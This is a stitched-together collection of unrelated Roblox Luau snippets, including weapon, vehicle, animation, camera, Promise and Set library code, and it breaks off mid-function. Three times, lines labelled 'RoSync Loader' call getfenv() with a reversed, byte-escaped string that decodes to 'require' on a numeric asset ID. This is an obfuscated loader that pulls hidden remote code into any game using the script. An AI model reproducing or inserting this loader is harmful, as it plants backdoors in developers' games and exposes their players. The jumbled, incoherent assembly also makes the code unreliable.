Tool = script.Parent Handle = Tool:WaitForChild("Handle") Players = game:GetService("Players") Debris = game:GetService("Debris") RunService = game:GetService("RunService") RbxUtility = LoadLibrary("RbxUtility") Create = RbxUtility.Create DamageValues = { BaseDamage = 5, SlashDamage = 20, } Damage = DamageValues.BaseDamage BaseUrl = "http://www.roblox.com/asset/?id=" BasePart = Instance.new("Part") BasePart.Shape = Enum.PartType.Block BasePart.Material = Enum.Material.Plastic BasePart.TopSurface = Enum.SurfaceType.Smooth BasePart.BottomSurface = Enum.SurfaceType.Smooth BasePart.FormFactor = Enum.FormFactor.Custom BasePart.Size = Vector3.new(0.2, 0.2, 0.2) BasePart.CanCollide = true BasePart.Locked = true BasePart.Anchored = false Animations = { LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5}, R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5}, } Sounds = { Unsheath = Handle:WaitForChild("Unsheath"), Slash = Handle:WaitForChild("Slash"), Lunge = Handle:WaitForChild("Lunge"), } ToolEquipped = false ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){ Name = "ServerControl", Parent = Tool, }) ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){ Name = "ClientControl", Parent = Tool, }) Handle.Transparency = 0 Tool.Enabled = true function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Create("ObjectValue"){ Name = "creator", Value = player, } Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function DealDamage(character, damage) if not CheckIfAlive() or not character then return end local damage = (damage or 0) local humanoid = character:FindFirstChild("Humanoid") local rootpart = character:FindFirstChild("HumanoidRootPart") if not rootpart then rootpart = character:FindFirstChild("Torso") end if not humanoid or humanoid.Health == 0 or not rootpart then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) if humanoid.Parent.Side.Value == "Enemy" then humanoid:TakeDamage(damage) end end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false) end function Blow(Part) local PartTouched local HitDelay = false PartTouched = Part.Touched:connect(function(Hit) if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then return end local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand")) if not RightArm then return end local RightGrip = RightArm:FindFirstChild("RightGrip") if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then return end local character = Hit.Parent if character == Character then return end local humanoid = character:FindFirstChild("Humanoid") local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso")) if not humanoid or humanoid.Health == 0 or not rootpart then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end HitDelay = true local TotalDamage = Damage DealDamage(character, TotalDamage) wait(0.05) HitDelay = false end) end function Attack() Damage = DamageValues.SlashDamage Sounds.Slash:Play() --[[local Anim = Create("StringValue"){ Name = "toolanim", Value = "Slash", } Debris:AddItem(Anim, 2) Anim.Parent = Tool]] local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe}) or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe})) local Animation = SwingAnimations[math.random(1, #SwingAnimations)] Spawn(function() InvokeClient("PlayAnimation", Animation) end) wait(Animation.Duration) end function Activated() if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then return end Tool.Enabled = false Attack() Damage = DamageValues.BaseDamage Tool.Enabled = true end function CheckIfAlive() return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false) end holdanim = nil function Equipped() Character = Tool.Parent Player = Players:GetPlayerFromCharacter(Character) Humanoid = Character:FindFirstChild("Humanoid") RootPart = Character:FindFirstChild("HumanoidRootPart") holdanim = Humanoid:LoadAnimation(script.Parent.Hold) if not CheckIfAlive() then return end Sounds.Unsheath:Play() holdanim:Play() ToolEquipped = true end function Unequipped() Humanoid.WalkSpeed = 16 ToolEquipped = false holdanim:Stop() end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped) Blow(Handle)
--[[ Last synced 4/4/2021 09:18 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
-------------------true/false finders-------------------
if(vParts.Values.Light.Value == false) then PS.Light.Text = " Lights: Off" end if(vParts.Values.Light.Value == true) then PS.Light.Text = " Lights: On" end
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onSwimming(speed) if speed > 1.00 then local scale = 10.0 playAnimation("swim", 0.4, Humanoid) setAnimationSpeed(speed / scale) pose = "Swimming" else playAnimation("swimidle", 0.4, Humanoid) pose = "Standing" end end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end local lastTick = 0 function stepAnimate(currentTime) local amplitude = 1 local frequency = 1 local deltaTime = currentTime - lastTick lastTick = currentTime local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.2, Humanoid) updateVelocity(currentTime) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end -- Tool Animation handling local tool = Character:FindFirstChildOfClass("Tool") if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = currentTime + .3 end if currentTime > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
--[[Transmission]]
Tune.TransModes = {"Auto"} --[[ [Modes] "Auto" : Automatic shifting "Semi" : Clutchless manual shifting, dual clutch transmission "Manual" : Manual shifting with clutch >Include within brackets eg: {"Semi"} or {"Auto", "Manual"} >First mode is default mode ]] --Automatic Settings Tune.AutoShiftMode = "Speed" --[[ [Modes] "Speed" : Shifts based on wheel speed "RPM" : Shifts based on RPM ]] Tune.AutoUpThresh = -200 --Automatic upshift point (relative to peak RPM, positive = Over-rev) Tune.AutoDownThresh = 1400 --Automatic downshift point (relative to peak RPM, positive = Under-rev) --Gear Ratios Tune.FinalDrive = 3.06 -- Gearing determines top speed and wheel torque Tune.Ratios = { -- Higher ratio = more torque, Lower ratio = higher top speed --[[Reverse]] 3.70 , -- Copy and paste a ratio to add a gear --[[Neutral]] 0 , -- Ratios can also be deleted --[[ 1 ]] 3.53 , -- Reverse, Neutral, and 1st gear are required --[[ 2 ]] 2.04 , --[[ 3 ]] 1.38 , --[[ 4 ]] 1.03 , --[[ 5 ]] 0.81 , --[[ 6 ]] 0.64 , } Tune.FDMult = 1.5 -- Ratio multiplier (Change this value instead of FinalDrive if car is struggling with torque ; Default = 1)
--[[Destination]]
-- PlayerTarget = game.Players.LocalPlayer PlayerHead = game.Players.LocalPlayer.Character.Head NameTarget = script.Parent.Parent.billboardText TextTarget = script.Parent.Parent.billboardTarget
------
UIS.InputBegan:connect(function(i,GP) if not GP then if i.KeyCode == Enum.KeyCode.L then REvent:FireServer("L",true) end if i.KeyCode == Enum.KeyCode.H then REvent:FireServer("H",true) end if i.KeyCode == Enum.KeyCode.J then REvent:FireServer("J",true) end if i.KeyCode == Enum.KeyCode.P then REvent:FireServer("P",true) end end end) UIS.InputEnded:connect(function(i,GP) if not GP then if i.KeyCode == Enum.KeyCode.H then REvent:FireServer("H",false) end end end)
--[[ Contains markers for annotating objects with types. To set the type of an object, use `Type` as a key and the actual marker as the value: local foo = { [Type] = Type.Foo, } ]]
local Symbol = require(script.Parent.Symbol) local strict = require(script.Parent.strict) local Type = newproxy(true) local TypeInternal = {} local function addType(name) TypeInternal[name] = Symbol.named("Roact" .. name) end addType("Binding") addType("Element") addType("Fragment") addType("HostChangeEvent") addType("HostEvent") addType("StatefulComponentClass") addType("StatefulComponentInstance") addType("VirtualNode") addType("VirtualTree") function TypeInternal.of(value) if typeof(value) ~= "table" then return nil end return value[Type] end getmetatable(Type).__index = TypeInternal getmetatable(Type).__tostring = function() return "RoactType" end strict(TypeInternal, "Type") return Type
--!nonstrict
local LuauPolyfill = script.Parent local Array = require(LuauPolyfill.Array) type Array<T> = Array.Array<T> type Object = { [string]: any } local inspect = require(LuauPolyfill.util.inspect) local Set = {} Set.__index = Set Set.__tostring = function(self) local result = "Set " if #self._array > 0 then result ..= "(" .. tostring(#self._array) .. ") " end result ..= inspect(self._array) return result end type callbackFn<T> = (value: T, key: T, set: Set<T>) -> () type callbackFnWithThisArg<T> = (thisArg: Object, value: T, key: T, set: Set<T>) -> () export type Set<T> = { size: number, -- method definitions add: (self: Set<T>, T) -> Set<T>, clear: (self: Set<T>) -> (), delete: (self: Set<T>, T) -> boolean, forEach: (self: Set<T>, callback: callbackFn<T> | callbackFnWithThisArg<T>, thisArg: Object?) -> (), has: (self: Set<T>, T) -> boolean, ipairs: (self: Set<T>) -> any, } type Iterable = { ipairs: (any) -> any } function Set.new<T>(iterable: Array<T> | Set<T> | Iterable | string | nil): Set<T> local array = {} local map = {} if iterable ~= nil then local arrayIterable: Array<any> -- ROBLOX TODO: remove type casting from (iterable :: any).ipairs in next release if typeof(iterable) == "table" then if Array.isArray(iterable) then arrayIterable = Array.from(iterable :: Array<any>) elseif typeof((iterable :: Iterable).ipairs) == "function" then -- handle in loop below elseif _G.__DEV__ then error("cannot create array from an object-like table") end elseif typeof(iterable) == "string" then arrayIterable = Array.from(iterable :: string) else error(("cannot create array from value of type `%s`"):format(typeof(iterable))) end if arrayIterable then for _, element in ipairs(arrayIterable) do if not map[element] then map[element] = true table.insert(array, element) end end elseif typeof(iterable) == "table" and typeof((iterable :: Iterable).ipairs) == "function" then for _, element in (iterable :: Iterable):ipairs() do if not map[element] then map[element] = true table.insert(array, element) end end end end return (setmetatable({ size = #array, _map = map, _array = array, }, Set) :: any) :: Set<T> end function Set:add(value) if not self._map[value] then -- Luau FIXME: analyze should know self is Set<T> which includes size as a number self.size = self.size :: number + 1 self._map[value] = true table.insert(self._array, value) end return self end function Set:clear() self.size = 0 table.clear(self._map) table.clear(self._array) end function Set:delete(value): boolean if not self._map[value] then return false end -- Luau FIXME: analyze should know self is Map<K, V> which includes size as a number self.size = self.size :: number - 1 self._map[value] = nil local index = table.find(self._array, value) if index then table.remove(self._array, index) end return true end
--[=[ @param config ComponentConfig @return ComponentClass Create a new custom Component class. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) ``` A full example might look like this: ```lua local MyComponent = Component.new({ Tag = "MyComponent", Ancestors = {workspace}, Extensions = {Logger}, -- See Logger example within the example for the Extension type }) local AnotherComponent = require(somewhere.AnotherComponent) -- Optional if UpdateRenderStepped should use BindToRenderStep: MyComponent.RenderPriority = Enum.RenderPriority.Camera.Value function MyComponent:Construct() self.MyData = "Hello" end function MyComponent:Start() local another = self:GetComponent(AnotherComponent) another:DoSomething() end function MyComponent:Stop() self.MyData = "Goodbye" end function MyComponent:HeartbeatUpdate(dt) end function MyComponent:SteppedUpdate(dt) end function MyComponent:RenderSteppedUpdate(dt) end ``` ]=]
function Component.new(config: ComponentConfig) local customComponent = {} customComponent.__index = customComponent customComponent.__tostring = function() return "Component<" .. config.Tag .. ">" end customComponent._ancestors = config.Ancestors or DEFAULT_ANCESTORS customComponent._instancesToComponents = {} customComponent._components = {} customComponent._trove = Trove.new() customComponent._extensions = config.Extensions or {} customComponent._started = false customComponent.Tag = config.Tag customComponent.Started = customComponent._trove:Construct(Signal) customComponent.Stopped = customComponent._trove:Construct(Signal) setmetatable(customComponent, Component) customComponent:_setup() return customComponent end
-- byte stm_byte(Stream S) -- @S - Stream object to read from
local function stm_byte(S) local idx = S.index local bt = string.byte(S.source, idx, idx) S.index = idx + 1 return bt end
-- Calculating IVs for SHA512/224 and SHA512/256
for width = 224, 256, 32 do local H_lo, H_hi = {}, nil if XOR64A5 then for j = 1, 8 do H_lo[j] = XOR64A5(sha2_H_lo[j]) end else H_hi = {} for j = 1, 8 do H_lo[j] = bit32_bxor(sha2_H_lo[j], 0xA5A5A5A5) % 4294967296 H_hi[j] = bit32_bxor(sha2_H_hi[j], 0xA5A5A5A5) % 4294967296 end end sha512_feed_128(H_lo, H_hi, "SHA-512/" .. tostring(width) .. "\128" .. string.rep("\0", 115) .. "\88", 0, 128) sha2_H_ext512_lo[width] = H_lo sha2_H_ext512_hi[width] = H_hi end
-- Obtain the InputService
local UserInputService = game:GetService("UserInputService")
--[[Steering]]
Tune.SteerInner = 45 -- Inner wheel steering angle (in degrees) Tune.SteerOuter = 44 -- Outer wheel steering angle (in degrees) Tune.SteerSpeed = .05 -- Steering increment per tick (in degrees) Tune.ReturnSpeed = .1 -- Steering increment per tick (in degrees) Tune.SteerDecay = 420 -- Speed of gradient cutoff (in SPS) Tune.MinSteer = 10 -- Minimum steering at max steer decay (in percent) Tune.MSteerExp = 1 -- Mouse steering exponential degree --Steer Gyro Tuning Tune.SteerD = 13 -- Steering Dampening Tune.SteerMaxTorque = 50000 -- Steering Force Tune.SteerP = 100 -- Steering Aggressiveness
--// Weld Connection
wait(0.5) local L_29_ = L_2_:GetDescendants() for L_34_forvar1, L_35_forvar2 in pairs(L_29_) do if L_35_forvar2:IsA('BasePart') then if L_35_forvar2.Name ~= 'Engine' and L_35_forvar2.Parent ~= L_2_.RegenButton then Weld(L_35_forvar2, L_2_.Required.Engine) end end end for L_36_forvar1, L_37_forvar2 in pairs(L_29_) do if L_37_forvar2:IsA('BasePart') then if L_37_forvar2.Parent ~= L_2_.RegenButton then L_37_forvar2.Anchored = false end end end
--------| Setting |--------
local Debug = true local waitTimeout = 5 local defaultRigType = Enum.HumanoidRigType.R15
------------------------------------------------------------------------------------------- -------------------------------------------------------------------------------------------
function onRunning(speed) speed /= getRigScale() if speed > 0.01 then playAnimation("walk", 0.1, Humanoid) if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then setAnimationSpeed(speed / 14.5) end pose = "Running" else if emoteNames[currentAnim] == nil then playAnimation("idle", 0.1, Humanoid) pose = "Standing" end end end function onDied() pose = "Dead" end function onJumping() playAnimation("jump", 0.1, Humanoid) jumpAnimTime = jumpAnimDuration pose = "Jumping" end function onClimbing(speed) speed /= getRigScale() playAnimation("climb", 0.1, Humanoid) setAnimationSpeed(speed / 12.0) pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() if (jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) end pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function onSwimming(speed) if speed > 0 then pose = "Running" else pose = "Standing" end end function getTool() for _, kid in ipairs(Figure:GetChildren()) do if kid.className == "Tool" then return kid end end return nil end function getToolAnim(tool) for _, c in ipairs(tool:GetChildren()) do if c.Name == "toolanim" and c.className == "StringValue" then return c end end return nil end function animateTool() if (toolAnim == "None") then playToolAnimation("toolnone", toolTransitionTime, Humanoid, Enum.AnimationPriority.Idle) return end if (toolAnim == "Slash") then playToolAnimation("toolslash", 0, Humanoid, Enum.AnimationPriority.Action) return end if (toolAnim == "Lunge") then playToolAnimation("toollunge", 0, Humanoid, Enum.AnimationPriority.Action) return end end function moveSit() RightShoulder.MaxVelocity = 0.15 LeftShoulder.MaxVelocity = 0.15 RightShoulder:SetDesiredAngle(3.14 /2) LeftShoulder:SetDesiredAngle(-3.14 /2) RightHip:SetDesiredAngle(3.14 /2) LeftHip:SetDesiredAngle(-3.14 /2) end local lastTick = 0 function move(time) local amplitude = 1 local frequency = 1 local deltaTime = time - lastTick lastTick = time local climbFudge = 0 local setAngles = false if (jumpAnimTime > 0) then jumpAnimTime = jumpAnimTime - deltaTime end if (pose == "FreeFall" and jumpAnimTime <= 0) then playAnimation("fall", fallTransitionTime, Humanoid) elseif (pose == "Seated") then playAnimation("sit", 0.5, Humanoid) return elseif (pose == "Running") then playAnimation("walk", 0.1, Humanoid) elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
---------------------------------------------------------------------------------------------------- --------------------=[ CFRAME ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,EnableHolster = false ,HolsterTo = 'Right Leg' -- Put the name of the body part you wanna holster to ,HolsterPos = CFrame.new(0.80,0.7,0.2) * CFrame.Angles(math.rad(-88),math.rad(-180),math.rad(0)) ,RightArmPos = CFrame.new(-.875, 0.2, -1.25) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Server ,LeftArmPos = CFrame.new(0.25,0.65,-1.65) * CFrame.Angles(math.rad(-100),math.rad(15),math.rad(-0)) --server ,ServerGunPos = CFrame.new(-.3, -1, -0.4) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) ,GunPos = CFrame.new(0.15, -0.15, 1) * CFrame.Angles(math.rad(90), math.rad(0), math.rad(0)) ,RightPos = CFrame.new(-0.65, 0.25, -1) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)) --Client ,LeftPos = CFrame.new(0.2,0.675,-1.45) * CFrame.Angles(math.rad(-100),math.rad(15),math.rad(-0)) --Client } return Config
--// F key, HornOff
mouse.KeyUp:connect(function(key) if key=="h" then veh.Lightbar.middle.Airhorn:Stop() veh.Lightbar.middle.Wail.Volume = 10 veh.Lightbar.middle.Yelp.Volume = 10 veh.Lightbar.middle.Priority.Volume = 10 veh.Lightbar.AH.Transparency = 1 end end)
--[[ Last synced 10/14/2020 09:29 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
-- Variables (best not to touch these!)
local button = script.Parent local car = script.Parent.Parent.Car.Value local sound = script.Parent.Start sound.Parent = car.DriveSeat -- What brick the start sound is playing from. button.MouseButton1Click:connect(function() -- Event when the button is clicked if script.Parent.Text == "Engine: Off" then -- If the text says it's off then.. sound:Play() -- Startup sound plays.. wait(1.5) -- For realism. Okay? script.Parent.Parent.IsOn.Value = true -- The car is is on, or in other words, start up the car. button.Text = "Engine: On" -- You don't really need this, but I would keep it. else -- If it's on then when you click the button, script.Parent.Parent.IsOn.Value = false -- The car is turned off. button.Text = "Engine: Off" end -- Don't touch this. end) -- And don't touch this either.
-----
function Lobby.run() _joinEvent = Util.newRemoteEvent("JoinEvent", ReplicatedStorage) _serverListEvent = Util.newRemoteEvent("ServerListEvent", ReplicatedStorage) _statusEvent = Util.newRemoteEvent("StatusEvent", ReplicatedStorage) MessagingService:SubscribeAsync("LOBBY", Lobby._dispatchMessage) MessagingService:SubscribeAsync(tostring(game.JobId), Lobby._dispatchMessage) Lobby._registerHandler("ANNOUNCE", Lobby._handleServerAnnounce) Lobby._registerHandler("ANNOUNCE:REMOVAL", Lobby._handleServerRemoval) Lobby._registerHandler("ANNOUNCE:RESPONSE", Lobby._handleServerAnnounce) Lobby._registerHandler("JOIN:RESPONSE", Lobby._handleJoinResponse) Lobby._registerHandler("JOIN:EXPIRED", Lobby._handleJoinExpired) Log.Debug.Lobby("run: %s (%s)", game.JobId, game.PlaceId) Lobby._requestServerList() _joinEvent.OnServerEvent:Connect(Lobby._onJoin) Players.PlayerAdded:Connect(Lobby._onPlayerAdded) Players.PlayerRemoving:Connect(Lobby._onPlayerRemoving) TeleportService.TeleportInitFailed:Connect(Lobby._onTeleportFailure) coroutine.wrap(function() while true do Lobby._detectDeadServers() Lobby._processJoinQueue() wait(1) end end)() end
--!strict --[=[ @function isSubset @within Set @param subset { [any]: boolean } -- The subset to check. @param superset { [any]: boolean } -- The superset to check against. @return boolean -- Whether the subset is a subset of the superset. Checks whether a set is a subset of another set. ```lua local set = { hello = true, world = true } local subset = { hello = true } local isSubset = IsSubset(subset, set) -- true ``` ]=]
local function isSubset(subset: { [any]: boolean }, superset: { [any]: boolean }): boolean for key, value in pairs(subset) do if superset[key] ~= value then return false end end return true end return isSubset
--[[ Last synced 4/6/2021 11:58 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
--[[ Returns a new promise that: * is resolved when all input promises resolve * is rejected if ANY input promises reject ]]
function Promise._all(traceback, promises, amount) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.all"), 3) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promises) do if not Promise.is(promise) then error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.all", tostring(i)), 3) end end -- If there are no values then return an already resolved promise. if #promises == 0 or amount == 0 then return Promise.resolve({}) end return Promise._new(traceback, function(resolve, reject, onCancel) -- An array to contain our resolved values from the given promises. local resolvedValues = {} local newPromises = {} -- Keep a count of resolved promises because just checking the resolved -- values length wouldn't account for promises that resolve with nil. local resolvedCount = 0 local rejectedCount = 0 local done = false local function cancel() for _, promise in ipairs(newPromises) do promise:cancel() end end -- Called when a single value is resolved and resolves if all are done. local function resolveOne(i, ...) if done then return end resolvedCount = resolvedCount + 1 if amount == nil then resolvedValues[i] = ... else resolvedValues[resolvedCount] = ... end if resolvedCount >= (amount or #promises) then done = true resolve(resolvedValues) cancel() end end onCancel(cancel) -- We can assume the values inside `promises` are all promises since we -- checked above. for i, promise in ipairs(promises) do newPromises[i] = promise:andThen( function(...) resolveOne(i, ...) end, function(...) rejectedCount = rejectedCount + 1 if amount == nil or #promises - rejectedCount < amount then cancel() done = true reject(...) end end ) end if done then cancel() end end) end function Promise.all(...) local promises = {...} -- check if we've been given a list of promises, not just a variable number of promises if type(promises[1]) == "table" and not Promise.is(promises[1]) then -- we've been given a table of promises already promises = promises[1] end return Promise._all(debug.traceback(nil, 2), promises) end function Promise.fold(list, callback, initialValue) assert(type(list) == "table", "Bad argument #1 to Promise.fold: must be a table") assert(type(callback) == "function", "Bad argument #2 to Promise.fold: must be a function") local accumulator = Promise.resolve(initialValue) return Promise.each(list, function(resolvedElement, i) accumulator = accumulator:andThen(function(previousValueResolved) return callback(previousValueResolved, resolvedElement, i) end) end):andThenReturn(accumulator) end function Promise.some(promises, amount) assert(type(amount) == "number", "Bad argument #2 to Promise.some: must be a number") return Promise._all(debug.traceback(nil, 2), promises, amount) end function Promise.any(promises) return Promise._all(debug.traceback(nil, 2), promises, 1):andThen(function(values) return values[1] end) end function Promise.allSettled(promises) if type(promises) ~= "table" then error(string.format(ERROR_NON_LIST, "Promise.allSettled"), 2) end -- We need to check that each value is a promise here so that we can produce -- a proper error rather than a rejected promise with our error. for i, promise in pairs(promises) do if not Promise.is(promise) then error(string.format(ERROR_NON_PROMISE_IN_LIST, "Promise.allSettled", tostring(i)), 2) end end -- If there are no values then return an already resolved promise. if #promises == 0 then return Promise.resolve({}) end return Promise._new(debug.traceback(nil, 2), function(resolve, _, onCancel) -- An array to contain our resolved values from the given promises. local fates = {} local newPromises = {} -- Keep a count of resolved promises because just checking the resolved -- values length wouldn't account for promises that resolve with nil. local finishedCount = 0 -- Called when a single value is resolved and resolves if all are done. local function resolveOne(i, ...) finishedCount = finishedCount + 1 fates[i] = ... if finishedCount >= #promises then resolve(fates) end end onCancel(function() for _, promise in ipairs(newPromises) do promise:cancel() end end) -- We can assume the values inside `promises` are all promises since we -- checked above. for i, promise in ipairs(promises) do newPromises[i] = promise:finally( function(...) resolveOne(i, ...) end ) end end) end
-- Example trigger script
local gui = script.Parent local playergui = gui.Parent local player = playergui.Parent local mouse = player:GetMouse() local vFrequency = script.Frequency local tikiTorches = workspace.TikiTorches:GetChildren() local loop = false function go() local torch = tikiTorches[math.random(1, #tikiTorches)] gui.CreateIndicator:Invoke(torch.Main.Position, 1) end gui.TextButton.MouseButton1Down:connect(function () gui.CreateIndicator:Invoke(Vector3.new(math.random(-25,25), 0, math.random(-25,25)), 2.5) end) gui.TextButton.MouseButton2Down:connect(function () loop = not loop end) while true do if loop then go() wait(math.random(1,vFrequency.Value)/100) else gui.TextButton.MouseButton2Down:wait() end wait() end
--// Functions
function MakeFakeArms() Arms = Instance.new("Model") Arms.Name = "Arms" Arms.Parent = L_5_ local L_144_ = Instance.new("Humanoid") L_144_.MaxHealth = 0 L_144_.Health = 0 L_144_.Name = "" L_144_.Parent = Arms if L_3_:FindFirstChild("Shirt") then local L_149_ = L_3_:FindFirstChild("Shirt"):clone() L_149_.Parent = Arms end local L_145_ = L_3_:FindFirstChild("Right Arm"):clone() for L_150_forvar1, L_151_forvar2 in pairs(L_145_:GetChildren()) do if L_151_forvar2:IsA('Motor6D') then L_151_forvar2:Destroy() end end L_145_.Name = "Right Arm" L_145_.FormFactor = "Custom" L_145_.Size = Vector3.new(0.8, 2.5, 0.8) L_145_.Transparency = 0.0 local L_146_ = Instance.new("Motor6D") L_146_.Part0 = L_145_ L_146_.Part1 = L_3_:FindFirstChild("Right Arm") L_146_.C0 = CFrame.new() L_146_.C1 = CFrame.new() L_146_.Parent = L_145_ L_145_.Parent = Arms local L_147_ = L_3_:FindFirstChild("Left Arm"):clone() L_147_.Name = "Left Arm" L_147_.FormFactor = "Custom" L_147_.Size = Vector3.new(0.8, 2.5, 0.8) L_147_.Transparency = 0.0 local L_148_ = Instance.new("Motor6D") L_148_.Part0 = L_147_ L_148_.Part1 = L_3_:FindFirstChild("Left Arm") L_148_.C0 = CFrame.new() L_148_.C1 = CFrame.new() L_148_.Parent = L_147_ L_147_.Parent = Arms end function RemoveArmModel() if Arms then Arms:Destroy() Arms = nil end end local L_107_ function CreateShell() L_107_ = time() local L_152_ = L_1_.Shell:clone() if L_152_:FindFirstChild('Shell') then L_152_.Shell:Destroy() end L_152_.CFrame = L_1_.Chamber.CFrame L_152_.Velocity = L_1_.Chamber.CFrame.lookVector * 30 + Vector3.new(0, 4, 0) --shell.RotVelocity = Vector3.new(-10,40,30) L_152_.Parent = L_76_ L_152_.CanCollide = false game:GetService("Debris"):addItem(L_152_, 1) end
--local soundCoroutine = coroutine.wrap(function() --while wait(math.random(5,10)) do --root.Hiss.Pitch = root.Hiss.OriginalPitch.Value+(math.random(-10,10)/100) --root.Hiss:Play() --end --end) --soundCoroutine()
--------------------) Settings
Damage = 0 -- the ammout of health the player or mob will take Cooldown = 2 -- cooldown for use of the tool again BoneModelName = "Slash" -- name the zone model HumanoidName = "Humanoid"-- the name of player or mob u want to damage
-- if self.L3ButtonDown then -- -- L3 Thumbstick is depressed, right stick controls dolly in/out -- if (input.Position.Y > THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 0.96 -- elseif (input.Position.Y < -THUMBSTICK_DEADZONE) then -- self.currentZoomSpeed = 1.04 -- else -- self.currentZoomSpeed = 1.00 -- end -- else
if state == Enum.UserInputState.Cancel then self.gamepadPanningCamera = ZERO_VECTOR2 return end local inputVector = Vector2.new(input.Position.X, -input.Position.Y) if inputVector.magnitude > THUMBSTICK_DEADZONE then self.gamepadPanningCamera = Vector2.new(input.Position.X, -input.Position.Y) else self.gamepadPanningCamera = ZERO_VECTOR2 end --end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoKeyboardPanTurn(name, state, input) if not self.hasGameLoaded and VRService.VREnabled then return Enum.ContextActionResult.Pass end if state == Enum.UserInputState.Cancel then self.turningLeft = false self.turningRight = false return Enum.ContextActionResult.Sink end if self.panBeginLook == nil and self.keyPanEnabled then if input.KeyCode == Enum.KeyCode.Left then self.turningLeft = state == Enum.UserInputState.Begin elseif input.KeyCode == Enum.KeyCode.Right then self.turningRight = state == Enum.UserInputState.Begin end return Enum.ContextActionResult.Sink end return Enum.ContextActionResult.Pass end function BaseCamera:DoPanRotateCamera(rotateAngle) local angle = 